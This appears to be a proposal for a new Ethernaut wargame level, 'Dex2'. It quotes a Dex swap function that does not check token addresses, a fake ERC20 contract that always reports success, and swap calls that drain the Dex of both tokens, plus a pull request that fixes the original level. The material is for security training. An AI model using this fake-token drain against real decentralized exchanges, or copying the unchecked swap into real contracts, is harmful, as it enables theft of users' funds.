Proposed New Level: Dex2 (Attack of the Evil ERC20 Token)

In the Dex level in Ethernaut, the swap method currently doesn't check that the ERC20 addresses are the ones it expects:

  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swap_amount = get_swap_amount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swap_amount);
    IERC20(to).transferFrom(address(this), msg.sender, swap_amount);
  }

The player can supply a DexAttackToken like this as input:

contract Dex2AttackToken {
    function balanceOf(address) external pure returns (uint256) {
        return 1;
    }

    function transferFrom(
        address,
        address,
        uint256
    ) external pure returns (bool) {
        return true;
    }
}

Swapping from Dex2AttackToken to token1 and token2 would then drain the balance of the Dex contract.

dex.swap(attackToken.address, token1.address, 1)
dex.swap(attackToken.address, token2.address, 1)

I've created a pull request that:

  • Add a require((from == token1 && to == token2) ... ) to swap in the current Dex level
  • Create a new level, Dex 2, keeping the above vulnerability
  • Explicitly require the player to drain Dex of both token1 and token2 balances
  • Give the player a hint that interacting with a ERC20 token contract

Take a look: https://github.com/OpenZeppelin/ethernaut/pull/250/files